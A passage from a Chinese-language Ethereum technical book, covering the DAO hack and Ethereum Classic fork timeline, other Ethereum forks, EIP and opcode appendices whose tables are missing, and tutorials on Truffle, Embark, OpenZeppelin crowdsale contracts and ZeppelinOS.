https://blog.slock.it/the-dao-creation-is-now-live-2270fd23affc

 ）。

·2016年5月27日：DAO众筹结束。

·2016年6月9日：社区发现了一个常见的递归调用错误（
https://vessenes.com/more-ethereum-attacks-race-to-empty-is-the-real-deal/

 ），并认为它会影响跟踪用户余额的许多Solidity合约。

·2016年6月12日：Stephen Tual声称DAO的资金没有风险（
https://blog.slock.it/no-dao-funds-at-risk-following-the-ethereum-smart-contract-recursive-call-bug-discovery-29f482d348b

 ）。

·2016年6月17日：DAO被攻击，已知冲入漏洞的一个变种被用来开始耗尽资金，最终抽取了大约30%的以太币。

·2016年6月21日：RHG宣布已获得DAO中存储的另外约70%的以太币（
https://www.reddit.com/r/ethereum/comments/4p7mhc/update_on_the_white_hat_attack/

 ）。

·2016年6月24日：Geth和Parity客户端启用了软分叉投票（
https://blog.ethereum.org/2016/06/24/dao-wars-youre-voice-soft-fork-dilemma/

 ），旨在临时扣留资金，直到社区可以更好地决定做什么。

·2016年6月28日：软分叉中发现了一个漏洞（
https://blog.ethereum.org/2016/06/28/security-alert-dos-vulnerability-in-the-soft-fork/

 ），被废弃。

·2016年6月28日至7月15日：用户讨论是否硬分叉；大多数的公开辩论发生在Reddit社区的/r/ethereum板块上。

·2016年7月15日：社区提出DAO硬分叉，以返还DAO攻击中的资金。

·2016年7月15日：通过CarbonVote进行投票（
https://blog.ethereum.org/2016/07/15/to-fork-or-not-to-fork/

 ），以确定DAO硬分叉是否会成为以太坊客户端的默认选项。

·2016年7月16日：占总以太币发行量5.5%的用户参与了投票，大约80%的选票（约占总供应量的4.5%）支持实施硬分叉，其中四分之一的支持选票来自一个地址。

·2016年7月20日：硬分叉发生在1920000区块高度。

·2016年7月20日：那些反对DAO硬分叉的社区成员继续运行旧的客户端软件，但这会导致在两个链上发生重放交易的问题（
https://www.coindesk.com/rise-replay-attacks-ethereum-divide

 ）。

·2016年7月24日：Poloniex在使用ETC挂牌交易代表原始链的以太币（
https://twitter.com/poloniex/status/757068619234803712

 ），这是第一次这样做的交易所。

·2016年8月10日：RHG将290万回收的ETC转移至Poloniex（
https://medium.com/@jackfru1t/the-robin-hood-group-and-etc-bdc6a0c111c3

 ），以便在Bity SA的建议下将其转换为ETH；RHG持有总量的14%从ETC转换为ETH和其他加密货币，而Poloniex冻结了另外86%的保存ETH（
https://bitcoinmagazine.com/articles/millions-of-dollars-worth-of-etc-may-soon-be-dumped-on-the-market-1472567361/

 ）。

·2016年8月30日：Poloniex将冻结的资金返还给RHG，然后RHG在ETC链上设立退款合约。

·2016年12月11日：由以太坊创始成员Charles Hoskinson领导的IOHK ETC开发团队组建。

·2017年1月13日：更新ETC网络以解决交易重放问题；这两个链现在在功能上是分开的。

·2017年2月20日：早期ETC开发人员Igor Artamonov（splix）领导组建了ETCD-EVTeam。



以太坊和以太坊经典



虽然最初的分裂以DAO为中心，但两个网络（以太坊和以太坊经典）现在都是独立的项目，尽管大多数开发仍然由以太坊社区完成并简单地移植到以太坊经典的代码库。尽管如此，全部差异在不断发展，而且过于广泛，无法在本附录中介绍。但是，值得注意的是，这两个链的核心发展和社区结构确实存在显著差异。接下来将讨论一些技术差异。



EVM



在大多数情况下（在撰写本书时），两个网络保持高度兼容：为一条链生成的合约代码在另一条链上可以运行；但EVM虚拟机存在一些细微差别（参见EIP 140、145和214）。



主网开发



作为开放项目，区块链平台通常拥有许多用户和贡献者。然而，由于开发所需专业的知识，核心网络开发（即运行网络的代码）通常由一个小组完成。在以太坊，这项工作由以太坊基金会和志愿者完成。在以太坊经典上，它由ETCDEV、IOHK和志愿者完成。



其他分叉



Ellaism（
https://ellaism.org/about/

 ）是一个基于以太坊的区块链网络，致力于使用PoW来保护区块链。它没有预挖矿和强制的开发费用，所有支持和开发工作都由来自社区的捐赠承担。它的开发人员认为这使得他们“成为最诚实的纯粹以太坊项目之一”，并且“作为一个认真的开发人员、教育工作者和爱好者的平台，它是独一无二的。Ellaism是一个纯粹的智能合约平台。它的目标是创建一个既公平又值得信赖的智能合约平台”。该平台的原则如下：

·协议的所有变更和升级都应努力维护和加强Ellaism的基本原则。

·货币政策：2.8亿个代币。

·无审查：任何人都无法阻止有效的交易在链上被确认。

·开源：Ellaism源代码应始终开放供任何人阅读、修改、复制和共享。

·无权：网络的维护者不应该阻止任何人成为网络的一部分（用户、节点、矿工等）。

·伪名：不需要ID来拥有和使用Ellaism。

·无意义：所有代币都是平等的，应该是同样可以消费的。

·不可逆交易：确认的区块应该是一成不变的。区块链历史应该是不可改变的。

·没有有争议的硬分叉：没有整个社区的共识，绝不硬分叉。只在必要时才打破现有的共识。

·许多功能升级可以在没有硬分叉的情况下执行，例如提高EVM的性能。

以太坊也产生了其他几个分叉，其中一些是硬分叉。因为它们直接从预先存在的以太坊网络中分离出来。其他是软分叉：它们使用以太坊的客户端和节点软件，但运行完全独立的网络，没有任何与以太坊共享的历史记录。在以太坊的发展过程中可能还会有更多的分叉。

还有一些其他项目声称是以太坊的分叉，但实际上是基于ERC20代币并在以太坊网络上运行。其中两个例子是EtherBTC（ETHB）和以太坊修改（EMOD）。这些不是传统意义上的分叉，有时可能被称为“空投”。

这里是一些已经发生的更值得注意的分叉的简要概述：

·Expanse是以太坊区块链中第一个获得社区关注的分叉。它是在2015年9月7日通过比特币谈话论坛宣布的。实际的分叉发生在一周后的9月14日，区块高度为800000。它最初由Christopher Franko和James Clayton创立。他们的愿景是创建一个先进的区块链：“身份、治理、慈善、商业和公平”。

·EthereumFog（ETF）于2017年12月14日推出，分叉高度为4730660。该项目的目标是通过专注于雾计算和分散存储来开发“世界分散式雾计算”。关于这实际上会带来什么的信息仍然很少。

·EtherZero（ETZ）于2018年1月19日发布，高度为4936270。其值得注意的创新是引入了masternode架构，并取消了智能合约的交易费用，以实现更广泛的DApp。这个项目收到了以太坊社区的一些著名成员，包括MyEtherWallet和MetaMask的批评，因为项目的开发缺乏明确性，以及项目为可能的网络钓鱼提供便利。

·EtherInc（ETI）于2018年2月13日发布，高度为5078585，重点是建立去中心化的组织。项目的目标包括减少区块时间、增加矿工奖励、取消叔块奖励以及设置可挖矿的上限。EtherInc使用与以太坊相同的私钥，并实施了重放保护，以保护原始非分叉链上的以太网。




附录B　以太坊标准





以太坊改进提案



以太坊改进提案保存在GitHub代码仓库：
https://github.com/ethereum/EIPs/

 。整个流程如图B-1所示。




图B-1：以太坊改进提案流程

来自EIP-1：

EIP表示以太坊改进提案。一份EIP就是一份设计文档，用来描述为以太坊或其处理进程及环境设计的一种新功能，或为以太坊社区提供一些信息。EIP应写出该功能的简洁技术描述，并阐述其基本原理。EIP的作者有责任在社区内建立共识，并记录不同意见。



最主要的EIP和ERC



表B-1：重要的EIP和ERC







表B-1：重要的EIP和ERC（续）







表B-1：重要的EIP和ERC（续）










附录C　EVM操作码和对应的gas开销



本附录基于
https://github.com/trailofbits/evm-opcodes

 的人员完成的整合工作，作为以太坊VM（EVM）操作码和指令信息的参考，遵循Apache License 2.0许可。

表C-1：EVM操作码和对应的gas开销




表C-1：EVM操作码和对应的gas开销（续）




表C-1：EVM操作码和对应的gas开销（续）




表C-1：EVM操作码和对应的gas开销（续）




表C-1：EVM操作码和对应的gas开销（续）




表C-1：EVM操作码和对应的gas开销（续）




表C-1：EVM操作码和对应的gas开销（续）







附录D　开发工具、框架和类库





框架



使用开发框架可以简化以太坊智能合约的开发。如果事无巨细地自己完成所有开发环节，这当然可以让开发者深入理解以太坊的工作方式，但是却会带来大量冗长和重复的工作。如下列出的这些框架可以自动化完成一些开发过程中的任务，让开发环节变得更轻松。



Truffle



GitHub链接：
https://github.com/trufflesuite/truffle

 。

网站链接：
https://truffleframework.com

 。

文档链接：
https://truffleframework.com/docs

 。

TruffleBoxes链接：
http://truffleframework.com/boxes/

 。

npm安装包链接：
https://www.npmjs.com/package/truffle

 。


安装Truffle框架


Truffle框架由若干个Node.js包构成。在我们安装truffle之前，我们需要确保Node.js和Node包管理器（npm）已经安装完成，能够正常工作，并且是最新的版本。

推荐的Node.js和npm安装方式是使用Node版本管理器nvm。我们在安装了nvm之后，它会处理所有的依赖和更新。我们可以在
http://nvm.sh

 找到具体的安装方式。

当nvm在操作系统安装完毕后，安装Node.js就变得容易了。我们可以使用--lts参数告诉nvm我们需要安装Node.js的Long Term Support（LTS）版本。






$ nvm install --lts







通过以下方式确认node和npm都已经安装完成：






$ node -v



v8.9.4



$ npm -v



5.6.0







创建一个隐藏的.nvmrc文件，在其中写入你的DApp所使用的Node.js版本，这样只需要在项目的根目录运行nvm install就可以安装并切换到对应的Node.js版本。






$ node -v > .nvmrc



$ nvm install







看上去不错，现在我们开始安装truffle：






$ npm -g install truffle



+ truffle@4.0.6



installed 1 package in 37.508s








使用预构建的Truffle项目（Truffle Box）


如果想在预先构建的项目模板之上创建自己的DApp，我们可以从Truffle Boxes的网站中选择一个现有的Truffle项目，然后运行以下的命令来下载和解压项目模板：






$ truffle unbox BOX_NAME








创建Truffle项目目录


对于需要使用Truffle的每一个项目，我们都需要首先创建一个项目目录，然后在目录中进行Truffle初始化。Truffle框架会在我们的项目目录中创建需要的目录结构。按照习惯，我们通常都使用项目的名称来命名项目文件夹。例如，我们将使用Truffle部署我们的Faucet合约，因此我们就会把项目的目录命名为Faucet。






$ mkdir Faucet



$ cd Faucet



Faucet $







进入到Faucet目录，我们执行truffle初始化命令：






Faucet $ truffle init







Truffle会创建一个目录结构，和一些默认的文件：






Faucet



+---- contracts



|   `---- Migrations.sol



+---- migrations



|   `---- 1_initial_migration.js



+---- test



+---- truffle-config.js



`---- truffle.js







除了Truffle框架本身的文件，我们也将会使用若干JavaScript（Node.js）支持库文件。我们可以通过npm来安装这些支持库文件。我们初始化npm目录结构，并接受系统的默认值作为设定：






$ npm init



package name: (faucet)



version: (1.0.0)



description:



entry point: (truffle-config.js)



test command:



git repository:



keywords:



author:



license: (ISC)



About to write to Faucet/package.json:



{



  "name": "faucet",



  "version": "1.0.0",



  "description": "",



  "main": "truffle-config.js",



  "directories": {



    "test": "test"



  },



  "scripts": {



    "test": "echo \"Error: no test specified\" && exit 1"



  },



  "author": "",



  "license": "ISC"



}



Is this ok? (yes)







现在，我们可以安装依赖库文件，这些库文件会在后续的Truffle框架使用过程中起到作用：






$ npm install dotenv truffle-wallet-provider ethereumjs-wallet







现在，在Faucet项目目录中，已经有了一个node_modules目录，及大概数千个支持性的文件。

在把DApp部署到生产环境或者持续测试的测试环境之前，需要指定一个“引擎”（engines），这样DApp才会使用跟这个引擎有关的Node.js版本和关联的依赖进行编译。在Package.json中设定“engines”字段的配置文档：
https://docs.npmjs.com/files/package.json#engines

 。


配置Truffle


Truffle创建一些空的配置文件，比如truffle.js和truffle-config.js。在Windows系统中，truffle.js这个文件可能会跟truffle命令冲突，导致在命令行启动输入truffle时，真正启动和执行的反而是truffle.js这个文件。为了避免这种情况，我们将删掉truffle.js，改用truffle-config.js，以便Windows用户使用。






$ rm truffle.js







现在我们来编辑truffle-config.js，采用如下内容替换：






module.exports = {



  networks: {



    localnode: { // Whatever network our local node connects to



      network_id: "*", // Match any network ID



      host: "localhost",



      port: 8545,



    }



  }



};







上述配置是一个很好的开始。它设置了一个默认的以太坊网络（名为localnode），这假设你正运行着一个以太坊客户端，比如Parity，不论是全功能节点还是轻节点的方式。这个配置会指示truffle通过RPC协议与本地的节点通信，使用8845端口。truffle会使用本地节点所连接到的任何以太坊网络，例如以太坊主网，或者类似Ropsten这样的测试网络。本地节点也会同时提供钱包功能。

在下面的内容中，我们会配置供truffle使用的额外的网络，例如ganache本地测试区块链和Infura（一个托管的网络服务提供商）。在增加更多网络时，配置文件会变得复杂，但这也会让我们的开发和测试有更多选择。


使用Truffle部署合约


我们已经拥有了一个Faucet项目的工作目录，并且配置了truffle和它的依赖。合约保存在项目目录的contracts子目录。这个目录中已经包含了一个文件名为Migrations.sol的“helper”合约。我们稍后的内容中会介绍这个合约的使用方式。

让我们把Faucet.sol合约代码复制到contracts子目录，在此之后，目录的结构如下：






Faucet



+---- contracts



|   +---- Faucet.sol



|   `---- Migrations.sol



...







现在可以通过truffle来编译合约：






$ truffle compile



Compiling ./contracts/Faucet.sol...



Compiling ./contracts/Migrations.sol...



Writing artifacts to ./build/contracts








Truffle migrations：理解部署脚本


Truffle提供了名为“migration”的一套部署机制。如果你用过其他的编程语言框架，你可能在Ruby on Rails、Python Django或者其他的编程语言框架中看到过类似的migrate指令。

在所有这些框架中，migration的作用是用来处理不用版本代码之间的数据结构差异。以太坊中的migration有些不同。因为以太坊合约在部署时会耗费gas，并且部署完成后是不可变的，Truffle中的migration机制用于跟踪哪些合约（和它们的版本）已经被部署了。在一个拥有数个合约和复杂依赖关系的项目中，你肯定不想每次都重新部署哪些没有任何修改的合约。你肯定也无法手工地记录和管理合约之间的部署状态和依赖关系。Truffle migration机制通过部署一个名为Migrations.sol的合约来自动完成这些事情，这个合约会跟踪项目中其他合约的部署情况。

在当前的项目中，我们只有一个Faucet.sol合约，这也就意味着对于整套migration系统而言似乎有些过于简单了。但是不论项目大小，我们都必须包含migration。从一个合约开始学习如何使用migration机制，将帮助我们养成一些良好的开发流程习惯。当项目变得复杂时，这些好习惯的价值就会有所体现。

migration有关的脚本代码都保存在Truffle的migrations目录。此刻，这个目录中只有一个1_initial_migration.js文件，这个文件用于部署Migrations.sol自身：






1 var Migrations = artifacts.require("./Migrations.sol");



2



3 module.exports = function(deployer) {



4   deployer.deploy(Migrations);



5 };







我们需要编写第二个migration脚本，用来部署Faucet.sol，我们把它称之为2_deploy_contracts.js。这是一个非常简单的脚本，相比1_initial_migration.js只有一些微小的改动。实际上，你可以直接复制1_initial_migration.js的代码，然后把Migrations的所有实例改为Faucet即可：






1 var Faucet = artifacts.require("./Faucet.sol");



2



3 module.exports = function(deployer) {



4   deployer.deploy(Faucet);



5 };







这个脚本初始化了一个Faucet变量，用于指向Faucet.sol这个Solidity源代码文件，这是定义Faucet的artifact。接着，脚本调用deploy函数部署这个合约。

搞定！我们可以使用truffle migrate命令来部署合约了。我们需要使用--network参数指定把合约部署到哪一个网络。我们在配置文件中指定了一个名为localnode的网络，确保本地的以太坊测试网络正在运行，然后输入如下的命令：






Faucet $ truffle migrate --network localnode







因为我们正在使用一个本地节点来连接到以太坊网络和管理我们的钱包，我们必须对truffle创建的合约进行授权。在我的环境中，因为我正在使用parity连接到Ropsten测试区块链，所以在truffle migration的过程中，Parity的Web控制台会跳出一个界面要求授权，如图D-1所示。




图D-1：在部署合约时，Parity请求用户确认

在这个界面中，你一共会看到4个交易。一个用于部署Migrations，一个用于更新部署计数器（+1），一个用于部署Faucet，最后那个还是更新部署计数器（+2）。

Truffle会显示migrations完成，显示每一个交易，以及合约的地址：






$ truffle migrate --network localnode



Using network 'localnode'.



Running migration: 1_initial_migration.js



  Deploying Migrations...



  ... 0xfa090db179d023d2abae543b4a21a1479e70ca7d35a469a5d1a98bfc6bd80fe8



  Migrations: 0x8861c27715550bed8362c0345add158489df6db0



Saving successful migration to network...



  ... 0x985c4a32716826ddbe4eae284104bef8bc69e959899f62246a1b27c9dfcd6c03



Saving artifacts...



Running migration: 2_deploy_contracts.js



  Deploying Faucet...



  ... 0xecdbeef77f0558edc689440e34b7bba0a3ba7a45e4b680b071b47c30a930e9d6



  Faucet: 0xd01cd8e7bd29e4bff8c1693f59eee46137a9f300



Saving successful migration to network...



  ... 0x11f376bd7307edddfd40dc4a14c3f7cb84b6c921ac2465602060b67d08f9fd8a



Saving artifacts...








使用Truffle控制台


Truffle提供了一个JavaScript控制台，我们可以通过这个控制台访问本地节点，进而达到与以太坊网络进行交互的目的，控制台也可以访问已经部署的合约和钱包服务。在我们当前的配置环境中（使用localnode），本地节点和钱包服务的角色都由Parity客户端扮演。

我们来启动Truffle控制台，并且尝试输入一些命令：






$ truffle console --network localnode



truffle(localnode)>







Truffle控制台启动后，会显示一个提示符，其中会包含当前控制台所连接的网络配置（localnotip.tiff de）。


 　我们需要时刻明确Truffle控制台所连接到的网络环境。你肯定不希望把一个测试合约部署到以太坊主网，甚至在主网上使用真实的以太币做测试转账。这可会是一个昂贵的错误！

Truffle控制台提供了自动完成的功能，这让用户更加容易了解Truffle的功能和控制台的当前环境。在一个未完全输入的命令之后，可以按Tab键，Truffle会自动把命令补全。连续敲击两次Tab键会显示所有当前匹配的命令。实际上，在提示符直接敲击两次Tab键的话，Truffle会列出所有的命令：






truffle(localnode)>



Array Boolean Date Error EvalError Function Infinity JSON Math NaN Number



Object RangeError ReferenceError RegExp String SyntaxError TypeError URIError



decodeURI decodeURIComponent encodeURI encodeURIComponent eval isFinite isNaN



parseFloat parseInt undefined



ArrayBuffer Buffer DataView Faucet Float32Array Float64Array GLOBAL Int16Array



Int32Array Int8Array Intl Map Migrations Promise Proxy Reflect Set StateManager



Symbol Uint16Array Uint32Array Uint8Array Uint8ClampedArray WeakMap WeakSet



WebAssembly XMLHttpRequest _ assert async_hooks buffer child_process clearImmediate clearInterval clearTimeout cluster console crypto dgram dns domain



escape events fs global http http2 https module net os path perf_hooks process



punycode querystring readline repl require root setImmediate set-Interval setTimeout stream string_decoder tls tty unescape url util v8 vm web3 zlib



__defineGetter__ __defineSetter__ __lookupGetter__ __lookupSetter__ __proto__



constructor hasOwnProperty isPrototypeOf propertyIsEnumerable toLocaleString



toString valueOf







大部分跟钱包和节点相关的功能是由web3对象提供的，这个对象是web3.js库的实例。web3对象抽象了访问我们的Parity节点的RPC接口。你也会注意Migrations和Faucet这两个熟悉的对象名字。这代表了我们刚才部署的合约。我们将使用Truffle控制台跟合约进行交互。首先，使用web3对象来检查我们的钱包：






truffle(localnode)> web3.eth.accounts



[ '0x9e713963a92c02317a681b9bb3065a8249de124f',



  '0xdb5dc1a13e3a55cf3b4587cd8d1e5fdeb6738145' ]







Parity客户端有两个钱包，其中的以太币来自于Ropsten测试网络。web3.eth.accounts这个属性包含了所有账户列表。我们可以检查第一个账户的余额，使用getBalance函数：






truffle(localnode)> web3.eth.getBalance(web3.eth.accounts[0]).toNumber()



191198572800000000



truffle(localnode)>







web3.js是一个庞大的JavaScript类库，它提供了针对以太坊的全面的接口，通过本地节点的服务。我们会在附录E中更详细讨论这些。现在，我们来尝试访问我们部署的合约。






truffle(localnode)> Faucet.address



'0xd01cd8e7bd29e4bff8c1693f59eee46137a9f300'



truffle(localnode)> web3.eth.getBalance(Faucet.address).toNumber()



0



truffle(localnode)>







接着，我们将会使用sendTransaction发送一些以太币到Faucet合约。注意，我们使用了web3.toWei进行以太币的单位转换。直接手工输入18个零显然非常容易出错，也很危险，因此更好的办法就是使用这些工具进行单位转换。下面的命令执行交易的发送：






truffle(localnode)> web3.eth.sendTransaction({from:web3.eth.accounts[0],



                   to:Faucet.address, value:web3.toWei(0.5, 'ether')});



'0xf134c75b985dc0e0c27c2f0412251e0860eb530a5055e660f21e7483ab336808'







切换到Parity的Web控制台，你会看到一个弹出的窗口，要求确认这笔交易。等一分钟后，当这笔交易写入以太坊区块链之后，我们就能够在Faucet合约的余额中看到我们转入的以太币：






truffle(localnode)> web3.eth.getBalance(Faucet.address).toNumber()



500000000000000000







现在我们来尝试调用合约的withdraw函数，从Faucet合约中提取若干以太币：






truffle(localnode)> Faucet.deployed().then(instance =>



                       {instance.withdraw(web3.toWei(0.1,



                       'ether'))}).then(console.log)







同样，你需要在parity Web控制台中确认提交这笔交易。提币操作执行之后，Faucet合约的余额会减少，我们的测试钱包中会收到0.1个以太币。






truffle(localnode)> web3.eth.getBalance(Faucet.address).toNumber()



400000000000000000



truffle(localnode)> Faucet.deployed().then(instance =>



                    {instance.withdraw(web3.toWei(1, 'ether'))})



StatusError: Transaction: 0xe147ae9e3610334...8612b92d3f9c



  exited with an error (status 0).



Embark









Embark



GitHub链接：
https://github.com/embark-framework/embark

 。

文档链接：
https://embark.status.im/docs

 。

npm安装包链接：
https://www.npmjs.com/package/embark

 。

Embark是一个允许开发者方便地开发和部署去中心化应用的框架。Embark与以太坊、IPFS、Whisper和Swarm集成，提供了如下的功能：

·自动部署合约，并让合约可以被Java Script代码访问。

·检测合约代码的修改，在必要时重新部署合约。

·与不同类型的以太坊区块链进行交互（如测试网络、本地节点、主网等）。

·管理存在互相依赖关系的复杂合约系统。

·保存和获取数据，例如向IFPS上传数据，或从IPFS读取文件数据。

·简化向IPFS或Swarm部署整套应用的流程。

·通过Whisper发送和获取消息。

你可以使用npm安装：






$ npm -g install embark













OpenZeppelin



GitHub链接：
https://github.com/OpenZeppelin/openzeppelin-solidity

 。

网站链接：
https://openzeppelin.org

 。

文档链接：
https://openzeppelin.org/api/docs/open-zeppelin.html

 。

OpenZeppelin（
https://openzeppelin.org/

 ）是面向Solidity智能合约的一个开放式、可重用和安全的编程框架。

这是一个由Zeppelin（
https://zeppelin.solutions/

 ）团队牵头，依靠社区中数百位外部贡献者驱动的项目。框架的核心目的是安全，框架的安全性来源于多个方面，通过实现经过业界验证的标准智能合约安全模式和最佳实践，以及借助Zeppelin开发团队对大量智能合约进行安全审计（
https://blog.zeppelin.solutions/tagged/security

 ）后积累的经验，并且通过来自社区大量使用OpenZeppelin进行实战应用开发的持续测试和安全检查。

OpenZeppelin框架是以太坊智能合约开发中被广泛使用的解决方案。框架当前包含了大量的合约库和模板，包括的内容从实现ERC20/ERC721代币合约，到复杂的众筹模式合约，也包含简单的例如Ownable、Pausable或LimitBalance这样的代码示例。Open-Zeppline框架中的很多示例代码，甚至都已经成为对应领域的“业界标准”。

框架采用MIT许可，所有的合约模板都采用模块化方式的设计，这样便于开发者使用和扩展。类似于基本的构建单元，可以直接用在你的以太坊项目中。让我们采用OpenZeppelin来构建一个简单的众筹合约。这个例子同样也展示了相比自己重新编码重用安全的组件的重要性，以太坊活跃的社区为开发者提供了大量可重用的安全组件。

首先，我们需要通过npm在工作目录中安装openzeppelin-solidity。在编写本书时，OpenZeppelin的最新发布版本是1.9.0：






$ mkdir sample-crowdsale



$ cd sample-crowdsale



$ npm install openzeppelin-solidity@1.9.0



$ mkdir contracts







在编写本书时，OpenZeppelin包括了多个基础代币协议，这些协议满足ERC20、ERC721和ERC827标准，不同的协议在代币发放、限额、vesting和生命周期等方面有不同的差异。

我们把这个众筹合约设定为可以增发的EERC20代币，这也就意味着代币的初始供应量为零，然后合约的创建者（也就是众筹合约）可以增发众筹代币，并分配个众筹项目的参与者。为了实现这些功能，我们创建一个contracts/SampleToken.sol，并包含如下的代码：






pragma solidity 0.4.23;



import 'openzeppelin-solidity/contracts/token/ERC20/MintableToken.sol';



contract SampleToken is MintableToken {



  string public name = "SAMPLE TOKEN";



  string public symbol = "SAM";



  uint8 public decimals = 18;



}







OpenZeppelin已经提供了一个MintableToken合约，我们可以将它作为我们代币合约的基础，我们只需要在此基础之上定义跟我们有关的一些特定的参数即可。接下来，让我们制作众筹合约。就像代币一样，OpenZeppelin已经提供了各种各样的众筹选项。目前，它提供了分销、发行、价格和验证的各种方案的合约。所以，我们假设你为你的众筹设定了一个目标，如果在销售完成时没有达到众筹目标，就要退还所有投资者。为此，你可以使用RefundableCrowdsale（
https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v1.9.0/contracts/crowdsale/distribution/RefundableCrowdsale.sol

 ）合约。或者，你可能希望定义一个价格不断上涨的众筹，以激励早期买家，那么你可选择IncreasePriceCrowdsale（
https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v1.9.0/contracts/crowdsale/price/IncreasingPriceCrowdsale.sol

 ）合约。你还可以在合约（CappedCrowdsale，参见
https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v1.9.0/contracts/crowdsale/validation/CappedCrowdsale.sol

 ）收到指定数量的以太币时结束众筹，或者使用TimedCrowdsale（
https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v1.9.0/contracts/crowdsale/validation/TimedCrowdsale.sol

 ）合约设置完成时间，抑或使用WhitelistedCrowdsale（
https://github.com/OpenZeppelin/open-zeppelin-solidity/blob/v1.9.0/contracts/crowdsale/validation/WhitelistedCrowdsale.sol

 ）合约创建买家白名单。

如我们之前讨论的，OpenZeppelin的合约是基础的构建单元。这些众筹合约模板可供开发者在此基础上添砖加瓦，通过阅读Crowdsale（
https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v1.9.0/contracts/crowdsale/Crowdsale.sol

 ）的代码，即可了解具体的扩展方式。对于我们的这个众筹合约例子而言，当收到众筹参与者的以太币之后，我们需要为他们发行代币，因此我们可以使用MintedCrowdsale（
https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v1.9.0/contracts/crowdsale/emission/MintedCrowdsale.sol

 ）为基础。我们也可以使用PostDeliveryCrowdsale（
https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v1.9.0/contracts/crowdsale/distribution/PostDeliveryCrowdsale.sol

 ）代码，这样代码只有在众筹结束之后才可以提币。把如下代码写入contracts/SampleCrowdsale.sol文件：






pragma solidity 0.4.23;



import './SampleToken.sol';



import 'openzeppelin-solidity/contracts/crowdsale/emission/MintedCrowdsale.sol';



import 'openzeppelin-solidity/contracts/crowdsale/ \



  distribution/PostDeliveryCrowdsale.sol';



contract SampleCrowdsale is PostDeliveryCrowdsale, MintedCrowdsale {



  constructor(



    uint256 _openingTime,



    uint256 _closingTime



    uint256 _rate,



    address _wallet,



    MintableToken _token



  )



    public



    Crowdsale(_rate, _wallet, _token)



    PostDeliveryCrowdsale(_openingTime, _closingTime)



  {



  }



}







我们基本上不用编写任何代码，只需要重用这些经过OpenZeppeline社区千锤百炼的合约模板接口。然而需要注意的是，这个例子跟我们之前的SampleToken合约不同，如果你访问众筹合约的自动化测试（
https://github.com/OpenZeppelin/openzeppelin-solidity/tree/v1.9.0/test/crowdsale

 ），你会发现它们是各自独立测试的。当你把多个合约模板集成在一起构建一个大项目时，仅仅是每个合约模板的独立测试是不够的，因为集成之后，这些模板之间的交互可能会导致无法预期的问题。特别是，你将会注意到我们在这里引入了多重继承，如果不了解Solidity编译器的实现细节，可能会让开发人员感到惊讶。我们的SampleCrowdsale合约很简单，它可以像我们期望的那样工作，因为该框架旨在使这些案例变得如此简单。但由于此框架引入的简单性，请不要放松对安全性的关注。每次集成OpenZeppelin框架的各个部分以构建更复杂的解决方案时，必须全面测试解决方案以确保单元的所有交互都按预期工作。

最终，当我们对众筹合约感到满意，并且经过彻底的测试后，我们就可以部署合约了。OpenZeppelin与Truffle可以完美集成，所有我们只需编写一个migrations文件。在migrations/2_deploy_contracts.js文件中写入如下内容：






const SampleCrowdsale = artifacts.require('./SampleCrowdsale.sol');



const SampleToken = artifacts.require('./SampleToken.sol');



module.exports = function(deployer, network, accounts) {



  const openingTime = web3.eth.getBlock('latest').timestamp + 2; // 2s in future



  const closingTime = openingTime + 86400 * 20; // 20 days



  const rate = new web3.BigNumber(1000);



  const wallet = accounts[1];



  return deployer



    .then(() => {



      return deployer.deploy(SampleToken);



    })



    .then(() => {



      return deployer.deploy(



        SampleCrowdsale,



        openingTime,



        closingTime,



        rate,



        wallet,



        SampleToken.address



      );



    });



};








 　这只是对OpenZeppelin框架内众多合约模板的一个快速概述。社区也在不断为OpenZepplin框架添砖加瓦，添加新的合约模板，或者优化代码使其更加安全、简单和易读，社区也在努力尽可能发现潜在的安全隐患，避免在主网环境出现安全漏洞。欢迎读者你也加入这个社区，并且做出贡献。



ZeppelinOS



GitHub链接：
https://github.com/zeppelinos

 。

网站链接：
https://zeppelinos.org

 。

博客链接：
https://blog.zeppelinos.org

 。

Zeppelin OS（
https://github.com/zeppelinos

 ）是一个开源的、分布式的工具和服务平台，位于以太坊EVM之上，旨在让开发者更加安全地开发和管理智能合约。

不同于OpenZeppelin的代码，这些需要随着每个具体的项目集成，并且重新部署，Zeppelin OS的代码（和其提供的工具及服务）已经位于链上。应用所需要的特定功能，比如ERC20代币，不需要再重新设计和开发，设置也不需要自己部署了。使用Zeppelin OS，应用可以直接跟代币功能的链上实现进行交互，如同桌面应用程序调用底层操作系统的组件一样。

Zeppelin OS的核心是一个非常“聪明”的“proxy”合约。proxy合约用于包装其他合约，暴露它们的接口，而不必实现对合约访问的具体代码，也可以在不丢失状态的情况下更新这些合约。在Solidity的术语中，可以把它视为一个普通的合约，这个合约的具体实现，是来自于一个类库，它可以随时被新的类库封装，而不会丢失状态。proxy链接到实现的过程是完全自动的，对开发者并不可见。采用这样的方法，任何合约都可以轻松地完成升级。有关Zeppelin OS proxy的具体工作机制，可以阅读位于
https://blog.zeppelinos.org/

 [upgradeability-using-unstructured-storage博客文章，相关的例子可以在GitHub（
https://github.com/zeppelinos/zos-lib/tree/master/examples/single

 ）上获得。

使用Zeppelin OS开发去中心化应用跟使用npm开发JavaScript应用类似。AppManager会处理应用每一个版本所依赖的程序包。一个程序包往往就是包含合约的一个目录，每个都可能包含一个或者多个可升级的代理。AppManager不仅仅提供应用专属合约的proxy，也提供Zeppelin OS作为标准类库的实现。有关这方面的完整例子，可以访问网站
https://github.com/zeppelinos/zos-lib/tree/master/examples/complex

 。

尽管目前还处在开发的过程中，但Zeppelin OS计划提供更为广泛的功能，比如开发者工具、一个用于在后台自动操作合约的定时器、可供程序员沟通和交换代码的开发奖励市场等。所有这些都在Zeppelin OS的白皮书
https://zeppelinos.org/zeppelin_os_

 [whitepaper].pdf中有详细描述。



工具





命令行工具：EhtereumJS helpeth



GitHub：
https://github.com/ethereumjs/helpeth

 。

helpeht是一个命令行工具，用于进行私钥和交易等操作，简化开发者的工作。

它是基于JavaScript的EthereumJS库和工具集的一部分。






Usage: helpeth [command]



Commands:



  signMessage <message>                        Sign a message



  verifySig <hash> <sig>                        Verify signature



  verifySigParams <hash> <r> <s> <v>        Verify signature parameters



  createTx <nonce> <to> <value> <data>        Sign a transaction



  <gasLimit> <gasPrice>



